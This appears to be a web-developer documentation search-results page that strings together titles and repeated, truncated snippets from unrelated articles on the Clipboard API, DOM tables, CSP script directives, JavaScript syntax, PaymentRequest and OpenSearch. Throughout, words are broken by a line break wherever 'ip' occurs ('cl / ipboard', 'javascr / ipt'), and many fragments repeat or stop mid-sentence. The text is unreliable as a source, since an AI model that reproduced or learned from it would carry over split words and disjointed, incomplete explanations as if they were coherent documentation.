ipboard api represents a single item format, used when reading or writing data via the cl
ipboard api. that is cl
ipboard.read() and cl
ipboard.write() respectively. the benefit of having the cl
ipboarditem interface to represent data, is that it enables developers to cope with the varying scope of file types and data easily. access to the contents of the cl
ipboard is gated behind the permissions api: the cl
ipboard-write permission is granted automatically to pages when they are in the active tab. the cl
ipboard-read permission must be requested, which you can do by trying to read data from the cl
ipboard. note: to work with text see the cl
ipboard.readtext() and cl
ipboard.writetext() methods of the cl
ipboard interface. note: you can only pass ...
...rd is gated behind the permissions api: the cl
ipboard-write permission is granted automatically to pages when they are in the active tab. the cl
ipboard-read permission must be requested, which you can do by trying to read data from the cl
ipboard. note: to work with text see the cl
ipboard.readtext() and cl
ipboard.writetext() methods of the cl
ipboard interface. note: you can only pass in one cl
ipboard item at a time. constructor cl
ipboarditem.cl
ipboarditem() creates a new cl
ipboarditem object, with the mime type as the key and blob as the value properties this interface provides the following properties. types read only returns an array of mime types available within the cl
ipboarditem. methods this interface defines the following methods. gettype() returns a promise t...
...ype as the key and blob as the value properties this interface provides the following properties. types read only returns an array of mime types available within the cl
ipboarditem. methods this interface defines the following methods. gettype() returns a promise that resolves with a blob of the requested mime type, or an error if the mime type is not found. examples writing to cl
ipboard here we're writing a new cl
ipboarditem.cl
ipboarditem() to the cl
ipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new cl
ipboarditem. ...
...And 8 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction this article is an overview of some powerful, fundamental dom level 1 methods and how to use them from javascr
ipt. you will learn how to create, access and control, and remove html elements dynamically. the dom methods presented here are not specific to html; they also apply to xml. the demonstrations provided here will work fine in any modern browser, including all versions of firefox and ie 5+. the dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and man
ipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). example: creating an html table dynamically (sample1.html) html <input type="button" value="generate a table." onclick="generate_t...
... dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and man
ipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). ...
...rent <table> element using tbl.appendchild(tblbody); next, we attach the <table> element to its parent <body> element using body.appendchild(tbl); remember this technique. you will use it frequently in programming for the w3c dom. first, you create elements from the top down; then you attach the children to the parents from the bottom up. here's the html markup generated by the javascr
ipt code: ... <table border="2"> <tbody> <tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr> <tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr> </tbody> </table> ... here's the dom object tree generated by the code for the <table> element and its child elements: you can build this table and its internal child elements by using just a few dom methods. re...
...And 8 more matches
RTCSessionDescriptionCallback - Web APIs
return value the callback doesn't need to return anything, so the return value is undefined. ...
... return value the callback doesn't need to return anything, so the return value is undefined. ...
...type is used to represent the callback function passed into the deprecated callback-based version of createoffer() or createanswer() when using them to create offers or answers. because this function type is part of the legacy webrtc api, you should avoid using it (and the callback-based forms of createoffer() and createanswer() that make use of it). ...
...And 8 more matches
clip - CSS: Cascading Style Sheets
values <<shape>()> a rectangular <<shape>()> of the form rect(<top> <right> <bottom> <left>). the <top> and <bottom> values are offsets from the inside top border edge of the box, while <right> and <left> are offsets from the inside left border edge of the box -- that is, the extent of the padding box. ...
... values <<shape>()> a rectangular <<shape>()> of the form rect(<top> <right> <bottom> <left>). the <top> and <bottom> values are offsets from the inside top border edge of the box, while <right> and <left> are offsets from the inside left border edge of the box -- that is, the extent of the padding box. ...
... values <<shape>()> a rectangular <<shape>()> of the form rect(<top> <right> <bottom> <left>). the <top> and <bottom> values are offsets from the inside top border edge of the box, while <right> and <left> are offsets from the inside left border edge of the box -- that is, the extent of the padding box. ...
...And 8 more matches
CSP: script-src-attr - HTTP
the http content-security-policy (csp) scr
ipt-src-attr directive specifies valid sources for javascr
ipt inline event handlers. this includes only inline scr
ipt event handlers like onclick, but not urls loaded directly into <scr
ipt> elements. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
...ent handlers like onclick, but not urls loaded directly into <scr
ipt> elements. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
...ectly into <scr
ipt> elements. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
...And 8 more matches
CSP: script-src-elem - HTTP
the http content-security-policy (csp) scr
ipt-src-elem directive specifies valid sources for javascr
ipt <scr
ipt> elements, but not inline scr
ipt event handlers like onclick. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
...avascr
ipt <scr
ipt> elements, but not inline scr
ipt event handlers like onclick. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
... event handlers like onclick. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the scr
ipt-src directive, and if both of them are absent, fallback to default-src directive. ...
...And 8 more matches
Loops and iteration - JavaScript
you can think of a loop as a computerized version of the game where you tell someone to take x steps in one direction, then y steps in another. for example, the idea "go five steps to the east" could be expressed this way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4. ...
...nt kinds of loops, but they all essentially do the same thing: they repeat an action some number of times. (note that it's possible that number could be zero!) the various loop mechanisms offer different ways to determine the start and end points of the loop. there are various situations that are more easily served by one type of loop over the others. the statements for loops provided in javascr
ipt are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement a for loop repeats until a specified condition evaluates to false. the javascr
ipt for loop is similar to the java and c for loop. a for statement looks as follows: for ([initialexpression]; [conditionexpression]; [incremen...
...an expression of any degree of complexity. this expression can also declare variables. the conditionexpression expression is evaluated. if the value of conditionexpression is true, the loop statements execute. if the value of condition is false, the for loop terminates. (if the condition expression is omitted entirely, the condition is assumed to be true.) the statement executes. to execute mult
iple statements, use a block statement ({ ... }) to group those statements. if present, the update expression incrementexpression is executed. control returns to step 2. example in the example below, the function contains a for statement that counts the number of selected options in a scrolling list (a <select> element that allows mult
iple selections). the for statement declares the variable i ...
...And 8 more matches
Assertions - JavaScript
gs of '^' control symbol are represented: // 1) matching begining of the input // 2) a negated or complemented character set: [^a] // that is, it matches anything that is not enclosed in the brackets. ...
...nput // 2) a negated or complemented character set: [^a] // that is, it matches anything that is not enclosed in the brackets. ...
...ing that is not enclosed in the brackets. ...
...And 8 more matches
Multiple Queries - Archive of obsolete content
<< previousnext >> so far, every template has contained only a single query, even for recursive content. however, it is possible to use mult
iple queries. this may be used to combine the results from several queries together, or may be used to generate different types of results when recursive iterations. to use mult
iple queries, place each query element along with its rules inside a queryset element. the queryset element is a bit of a misnomer, it actually only contains one query each. the following is the basic structure of a template with mult
iple queries: <listbox datasources="..." ref="..."> <queryset> <query> ... </query> <rule> ... </rule> </queryset> <queryset> <query> ... </query> <rule> ... </rule> </qu...
...d for it, followed by the results and output for the second query, and so forth for all of the queries. ...
...it the first query was used by itself, only one result would match. if the second query was used by itself, three results would match. when used together in this example, the results are combined and only three results are shown. however, you will probabl...
...And 7 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
previous overview: first steps next when you built up the "guess the number" game in the previous article, you may have found that it didn't work. never fear -- this article aims to save you from tearing your hair out over such problems by providing you with some t
ips on how to find and fix errors in javascr
ipt programs. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to gain the ability and confidence to start fixing problems in your own code. types of error generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the program not to r...
...we'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. then you can go back and try to fix your example. at this point, let's consult the developer console to see if it reports any syntax errors, then try to fix them. you'll learn how below. fixing syntax errors earlier on in the course we got you to type some simple javascr
ipt commands into the developer tools javascr
ipt console (if you can't remember how to open this in your browser, follow the previous link to find out how). what's even more useful is that the console gives you error messages whenever a syntax error exists inside the javascr
ipt being fed into the browser's javascr
ipt engine. now let's go hunting. go to the tab that you've got number-game-errors.h...
...you should see an error message along the following lines: this is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from firefox, but other browsers provide similar information). from left to right, we've got: a red "x" to indicate that this is an error. ...
...And 7 more matches
JavaScript performance - Learn web development
previous overview: performance next while images and video account for over 70% of the bytes downloaded for the average website, byte per byte, javascr
ipt has a greater negative impact on performance. this article looks to introduce performance issues caused by scr
ipts and introduces t
ips and tricks for optimizing javascr
ipt for web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the effects of javascr
ipt on performance optimization, and how a javascr
ipt file size is not the only impact on web performance. similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. but not all bytes downloaded...
...lled, and basic knowledge of client-side web technologies. objective: to learn about the effects of javascr
ipt on performance optimization, and how a javascr
ipt file size is not the only impact on web performance. similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. but not all bytes downloaded have the same impact. javascr
ipt bytes have to be downloaded, parsed, and exectuted. javascr
ipt impacts download performance. we'll cover t
ips and tricks to minimize that impact on download. but javascr
ipt can also consume the main thread, the cpu, and the battery. it can make the ui feel unresponsive or janky. we'll introduce concepts for handling that as well. download impact web applications include a lot of javascr
ipt. ma...
...pt impacts download performance. we'll cover t
ips and tricks to minimize that impact on download. but javascr
ipt can also consume the main thread, the cpu, and the battery. it can make the ui feel unresponsive or janky. we'll introduce concepts for handling that as well. download impact web applications include a lot of javascr
ipt. many applications are built with a javascrpit framework, or mult
iple, with several additional dependencies. often times third party scr
ipts and apis are added, including a/b testing, tracking pixels, and features like maps and support features. all of this javascr
ipt must be downloaded. eventually. performance optimizatins should include: reducing the amount of javascr
ipt that is needed. ...
...And 7 more matches
The JavaScript Runtime
interpretation beginning with rhino 1.4 release 2, an interpretive mode is supported. when scr
ipts are compiled in interpretive mode, an internal representation of the compiled form is created and stored rather than generating a java class. execution proceeds by evaluating this compiled form using support routines in rhino. compilation to java bytecodes for improved performance, rhino may compile javascr
ipt scr
ipts to java bytecodes. the generated bytecodes in turn depend upon runtime support routines. each javascr
ipt scr
ipt or function is compiled to a separate class. compilation of javascr
ipt source to class files is supported. it is possible to specify the class files as well as the packages to generate into. types and values there are six fundamental types in javascr
ipt. th...
... upon runtime support routines. each javascr
ipt scr
ipt or function is compiled to a separate class. compilation of javascr
ipt source to class files is supported. it is possible to specify the class files as well as the packages to generate into. types and values there are six fundamental types in javascr
ipt. these types are implemented with the following java types and values: javascr
ipt fundamental type java type undefined a singleton object defined by context.getundefinedtype() null null boolean java.lang.boolean number java.lang.number, that is, any of java.lang.byte, java.lang.short, java.lang.integer, java.lang.float, or java.lang.double. not java.lang.long, since a double representation of a long may lose precision. ...
...ined by context.getundefinedtype() null null boolean java.lang.boolean number java.lang.number, that is, any of java.lang.byte, java.lang.short, java.lang.integer, java.lang.float, or java.lang.double. not java.lang.long, since a double representation of a long may lose precision. ...
...And 7 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscr
iptloader.idlscr
iptable this interface can be used from privileged javascr
ipt to load and run javascr
ipt code from the given url at runtime. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscr
ipt-loader;1. to get this service, use: var mozijssubscr
iptloader = components.classes["@mozilla.org/moz/jssubscr
ipt-loader;1"] .getservice(components.interfaces.mozijssubscr
iptloader); note: see components.utils.import for another way to import javascr
ipt code. ...
...5 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscr
ipt-loader;1. to get this service, use: var mozijssubscr
iptloader = components.classes["@mozilla.org/moz/jssubscr
ipt-loader;1"] .getservice(components.interfaces.mozijssubscr
iptloader); note: see components.utils.import for another way to import javascr
ipt code. method overview jsval loadsubscr
ipt(in string url, in object targetobj optional, in string charset optional); jsval loadsubscr
iptwithoptions(in string url, in object options); methods loadsubscr
ipt() synchronously loads and executes the scr
ipt from the specified url. as of gecko 8.0, scr
ipts are loaded from the startup cache where possible. ...
...cr
ipt code. method overview jsval loadsubscr
ipt(in string url, in object targetobj optional, in string charset optional); jsval loadsubscr
iptwithoptions(in string url, in object options); methods loadsubscr
ipt() synchronously loads and executes the scr
ipt from the specified url. as of gecko 8.0, scr
ipts are loaded from the startup cache where possible. the loaded scr
ipt is executed with the princ
ipal associated with the target object. any top-level functions or variables created by the loaded scr
ipt via var are created as properties of the targetobj target object (but things declared via let and const are not). additionally, properties of the targetobj target object can be referred to as variables in the loaded scr
ipt. ...
...And 7 more matches
Component; nsIPrefBranch
inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems. preferences are accessed off of this root by using just the final portion of the preference. ...
... pref_int 64 long data type. pref_bool 128 long data type. methods addobserver() adds a preferenc...
...ng aprefname, in nsiidref atype, in nsisupports avalue); void setintpref(in string aprefname, in long avalue); void unlockpref(in string aprefname); attributes attribute type descr
iption root string called to get the root on which this branch is based, such as "browser.startup." read only. constants constant value descr
iption pref_invalid 0 long pref_string 32 long data type. pref_int 64 long data type. pref_bool 128 long data type. methods addobserver() adds a preference change observer. on preference changes, the following arguments will be passed to nsiobserver.observe(): asubject - the ns
iprefbranch object (this). atopic - the string define...
...And 7 more matches
nsIProtocolHandler
if the protocol doesn't need a port (for example, the "about" protocol), this attribute is -1. read only. ...
...mplement this interface. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type descr
iption defaultport long the default port is the port the protocol uses by default. if the protocol doesn't need a port (for example, the "about" protocol), this attribute is -1. read only. protocolflags unsigned long protocol-specific flags. read only. note: starting with firefox 3, one of uri_loadable_by_anyone, uri_dangerous_to_load, uri_is_ui_resource, or uri_is_...
...dangerous_to_load, uri_is_ui_resource, or uri_is_local_file must be set on every protocol handler. current versions of firefox assume that the uri has uri_loadable_by_anyone set, but this will not work starting with the mozilla 2 platform. scheme acstring the scheme for this protocol ("file", "http", and so forth). read only. constants constant value descr
iption uri_std 0 a standard full uri with authority component and understanding relative uris; this includes http and ftp, for example. uri_norelative 1<<0 the protocol doesn't support relative uris (for example, about and javascr
ipt). uri_noauth 1<<1 the protocol doesn't have an authority component (for example, file). uri_inherits_security_cont...
...And 7 more matches
Scripting plugins - Plugins
<< previousnext >> xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release). ...
...monly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release). this document also explains how to make a plugin use these new extensions to be scr
iptable as well as how to access objects in a browser. ...
...o be scr
iptable as well as how to access objects in a browser. (a bit of history: npapi plugins that used to take advantage of being scr
iptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). as an answer to this large gap in the netscape plugin api, an extension to the api has been developed that lets plugins be scr
iptable again, independent of java. this extension will also let plugins access the scr
ipt objects in the browser, and is thus a much stronger and more flexible api.) the information in this section applies to firefox 1.0 and mozilla 1.7.5 and newer versions. ...
...And 7 more matches
PaymentRequest.onshippingaddresschange - Web APIs
if the address stored by the user agent changes at any time during a payment process, the event is triggered. ...
...if the address stored by the user agent changes at any time during a payment process, the event is triggered. ...
...if the address stored by the user agent changes at any time during a payment process, the event is triggered. ...
...And 7 more matches
PaymentRequest.onshippingoptionchange - Web APIs
if the option stored by the user agent changes at any time during a payment process, the event is triggered. to make sure an updated option is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show(). ...
...if the option stored by the user agent changes at any time during a payment process, the event is triggered. to make sure an updated option is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show(). ...
...the event is triggered. to make sure an updated option is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show(). // initialization of paymentrequest arguments are excerpted for clarity. ...
...And 7 more matches
PaymentResponse.shippingAddress - Web APIs
the sh
ippingaddress read-only property of the paymentrequest interface returns a paymentaddress object containing the sh
ipping address provided by the user. syntax var sh
ippingaddress = paymentrequest.sh
ippingaddress; value a paymentaddress object providing details comprising the sh
ipping address provided by the user. example generally, the user agent will fill the sh
ippingaddress property for you. you can trigger this by setting paymentoptions.requestsh
ipping to true when calling the paymentrequest constructor. in the example below, the cost of sh
ipping varies by geography. when the paymentrequest.onsh
ippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using sh
ippingaddress to set the correct sh
ipping cost. // initialization of p...
...st of sh
ipping varies by geography. when the paymentrequest.onsh
ippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using sh
ippingaddress to set the correct sh
ipping cost. // initialization of paymentrequest arguments are excerpted for brevity. var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('sh
ippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.sh
ippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details,...
...gaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.sh
ippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. ...
...And 7 more matches
SVGEllipseElement - Web APIs
the svgell
ipseelement interface provides access to the properties of <ell
ipse> elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/>...
...ill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="171" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggeometryelement</text></a><polyline points="81,89 71,84 71,94 81,89" stroke="#d4dde4" fill="none"/><line x1="71" y1="89" x2="41" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgell
ipseelement" target="_top"><rect x="-129" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgell
ipseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this i...
...ke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgell
ipseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svggeometryelement. svgell
ipseelement.cx read only this property returns a svganimatedlength reflecting the cx attribute of the given <ell
ipse> element. svgell
ipseelement.cy read only this property returns a svganimatedlength reflecting the cy attribute of the given <ell
ipse> element. svgell
ipseelement.rx read only this property returns a svganimatedlength reflecting the rx attribute of the given <ell
ipse> element. ...
...And 7 more matches
text-decoration-skip-ink - CSS: Cascading Style Sheets
the text-decoration-sk
ip-ink css property specifies how overlines and underlines are drawn when they pass over glyph ascenders and descenders. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. text-decoration-sk
ip-ink is not part of the text-decoration shorthand. ...
... when they pass over glyph ascenders and descenders. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. text-decoration-sk
ip-ink is not part of the text-decoration shorthand. syntax /* single keyword */ text-decoration-sk
ip-ink: none; text-decoration-sk
ip-ink: auto; text-decoration-sk
ip-ink: all; /* global keywords */ text-decoration-sk
ip: inherit; text-decoration-sk
ip: initial; text-decoration-sk
ip: unset; values none underlines and overlines are drawn across the full length of the text content, including parts that cross over glyph descenders and ascenders. auto the default -- the browser may interrupt un...
... closely approach a glyph. this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not create interruptions. ...
...And 7 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <dl> element's children include one name-value group, palpable content. ...
...oject, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <dl> element's children include one name-value group, palpable content. permitted content either: zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <scr
ipt> and <template> elements. or: one or more <div> elements, optionally intermixed with <scr
ipt> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles group, list, none, presentation ...
...ag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles group, list, none, presentation dom interface htmldlistelement attributes this element only includes the global attributes. ...
...And 7 more matches
Function.name - JavaScript
ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of function.name writable no enumerable no configurable yes note that in non-standard, pre-es2015 implementations the configurable attribute was false as well. javascr
ipt compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascr
ipt compressors (minifiers) or obfuscators. these tools are often used as part of a javascr
ipt build p
ipeline to reduce the size of a program prior to deploying it to production. such transformations often change a function's name at build-time. source c...
...f (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-branch and logs "'foo' is an instance of 'foo'". whereas, in the compressed version it behaves differently, and runs into the else-branch. if you rely on function.name, like in the example above, make sure your build p
ipeline doesn't change function names, or don't assume a function to have a particular name. examples function statement name the name property returns the name of a function statement. function dosomething() {} dosomething.name; // "dosomething" function constructor name functions created with the syntax new function(...) or just function(...) create function objects and their name is "anon...
.... (new function).name; // "anonymous" anonymous function expression anonymous function expressions that were created using the keyword function or arrow functions would have ""(an empty string) as their name. (function() {}).name; // "" (() => {}).name; // "" inferred function names variables and methods can infer the name of an anonymous function from its syntactic position (new in ecmascr
ipt 2015). let f = function() {}; let object = { somemethod: function() {} }; console.log(f.name); // "f" console.log(object.somemethod.name); // "somemethod" you can define a function with a name in a function expression: let object = { somemethod: function object_somemethod() {} }; console.log(object.somemethod.name); // logs "object_somemethod" try { object_somemethod } catch(e) { conso...
...And 7 more matches
String - JavaScript
some of the most-used operations on strings are to check their length, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the indexof() method, or extracting substrings with the substring() method. ...
... be specified using single or double quotes, which are treated identically, or using the backtick character `. this last form specifies a template literal: with this form you can interpolate expressions. character access there are two ways to access an individual character in a string. the first is the charat() method: return 'cat'.charat(1) // returns "a" the other way (introduced in ecmascr
ipt 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed. the properties involved are neither writable nor configurable. (see object.defineproperty() for more information.) comparing...
...s correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed. the properties involved are neither writable nor configurable. (see object.defineproperty() for more information.) comparing strings in c, the strcmp() function is used for comparing strings. in javascr
ipt, you just use the less-than and greater-than operators: let a = 'a' let b = 'b' if (a < b) { // true console.log(a + ' is less than ' + b) } else if (a > b) { console.log(a + ' is greater than ' + b) } else { console.log(a + ' and ' + b + ' are equal.') } a similar result can be achieved using the localecompare() method inherited by string instances. note that a == b compares the strin...
...And 7 more matches
Destructuring assignment - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... const x = [1, 2, 3, 4, 5]; the destructuring assignment uses similar syntax, but on the left-hand side of the assignment to define what values to unpack from the sourced variable. const x = [1, 2, 3, 4, 5]; const [y, z] = x; console.log(y); // 1 console.log(z); // 2 this capability is similar...
...that matched each parenthesized group in the regular expression. destructuring assignment allows you to unpack the parts out of this array easily, ignoring the full match if it is not needed. ...
...And 7 more matches
Object initializer - JavaScript
ub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let o = {} let o = {a: 'foo', b: 42, c: {}} let a = 'foo', b = 42, c = {} let o = {a: a, b: b, c: c} let o = { property: function (parameters) {}, get property() {}, set property(value) {} }; new notations in ecmascr
ipt 2015 please see the compatibility table for support for these notations. in non-supporting environments, these notations will lead to syntax errors. // shorthand property names (es2015) let a = 'foo', b = 42, c = {}; let o = {a, b, c} // shorthand method names (es2015) let o = { property(parameters) {} } // computed property names (es2015) let prop = 'foo' let o = { [prop]: 'hey', ['b'...
...patibility table for support for these notations. in non-supporting environments, these notations will lead to syntax errors. // shorthand property names (es2015) let a = 'foo', b = 42, c = {}; let o = {a, b, c} // shorthand method names (es2015) let o = { property(parameters) {} } // computed property names (es2015) let prop = 'foo' let o = { [prop]: 'hey', ['b' + 'ar']: 'there' } descr
iption an object initializer is an expression that describes the initialization of an object. objects consist of properties, which are used to describe an object. values of object properties can either contain primitive data types or other objects. object literal notation vs json the object literal notation is not the same as the javascr
ipt object notation (json). although they look similar, ther...
...rs for detailed information.) object.foo // "bar" object['age'] // 42 object.foo = 'baz' property definitions we have already learned how to notate properties using the initializer syntax. oftentimes, there are variables in your code that you would like to put into an object. you will see code like this: let a = 'foo', b = 42, c = {}; let o = { a: a, b: b, c: c } with ecmascr
ipt 2015, there is a shorter notation available to achieve the same: let a = 'foo', b = 42, c = {}; // shorthand property names (es2015) let o = {a, b, c} // in other words, console.log((o.a === {a}.a)) // true duplicate property names when using the same name for your properties, the second property will overwrite the first. let a = {x: 1, x: 2} console.log(a) // {x: 2} in ecmascri...
...And 7 more matches
Template literals (Template strings) - JavaScript
template literals are string literals allowing embedded expressions. you can use multi-line strings and string interpolation features with them. they were called "template strings" in prior editions of the es2015 specification. syntax `string text` `string text line 1 string text line 2` `string text ${expression} string text` tag`string text ${expression} string text` descr
iption template literals are enclosed by the backtick (` `) (grave accent) character instead of double or single quotes. template literals can contain placeholders. these are indicated by the dollar sign and curly braces (${expression}). the expressions in the placeholders and the text between the backticks (` `) get passed to a function. the default function just concatenates the parts into a single string.
...ion}). the expressions in the placeholders and the text between the backticks (` `) get passed to a function. the default function just concatenates the parts into a single string. if there is an expression preceding the template literal (tag here), this is called a tagged template. in that case, the tag expression (usually a function) gets called with the template literal, which you can then man
ipulate before outputting. to escape a backtick in a template literal, put a backslash (\) before the backtick. `\`` === '`' // --> true multi-line strings any newline characters inserted in the source are part of the template literal. using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n' + 'string text line 2');...
...nder' : 'collapser'}` }`; tagged templates a more advanced form of template literals are tagged templates. tags allow you to parse template literals with a function. the first argument of a tag function contains an array of string values. the remaining arguments are related to the expressions. the tag function can then perform whatever operations on these arguments you wish, and return the man
ipulated string. (alternatively, it can return something completely different, as described in one of the following examples.) the name of the function used for the tag can be whatever you want. let person = 'mike'; let age = 28; function mytag(strings, personexp, ageexp) { let str0 = strings[0]; // "that " let str1 = strings[1]; // " is a " // there is technically a string after // the ...
...And 7 more matches
OpenSearch description format
the opensearch descr
iption format lets a website describe a search engine for itself, so that a browser or other client application can use that search engine. opensearch is supported by (at least) firefox, edge, internet explorer, safari, and chrome. (see reference material for links to other browsers' documentation.) firefox also supports additional features not in the opensearch standard, such as search suggestions and the <searchform> element. this article focuses on creating opensearch-compatible search plugins that support these additional firefox features. opensearch descr
iption files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines from web pages. ...
...ensearch standard, such as search suggestions and the <searchform> element. this article focuses on creating opensearch-compatible search plugins that support these additional firefox features. opensearch descr
iption files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines from web pages. opensearch descr
iption file the xml file that describes a search engine follows the basic template below. sections in [square brackets] should be customized for the specific plugin you're writing. ...
...search descr
iption files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines from web pages. opensearch descr
iption file the xml file that describes a search engine follows the basic template below. sections in [square brackets] should be customized for the specific plugin you're writing. ...
...And 7 more matches
2015 MDN Fellowship Program - Archive of obsolete content
warning: the 2015 mdn fellowsh
ip program is closed. we are not accepting applications. this page is a historical archive, originally hosted at /fellowsh
ip, and was localized. more information: mdn/developerfellowsh
ip wiki page. announcing the mdn fellows! blog post, may 14 2015. mdn fellows successfully oriented blog post, july 6 2015. mdn fellows: what they did & what's next blog post, september 23, 2015. 2015 mdn fellowsh
ip program launching in q1 2015, the mozilla developer fellowsh
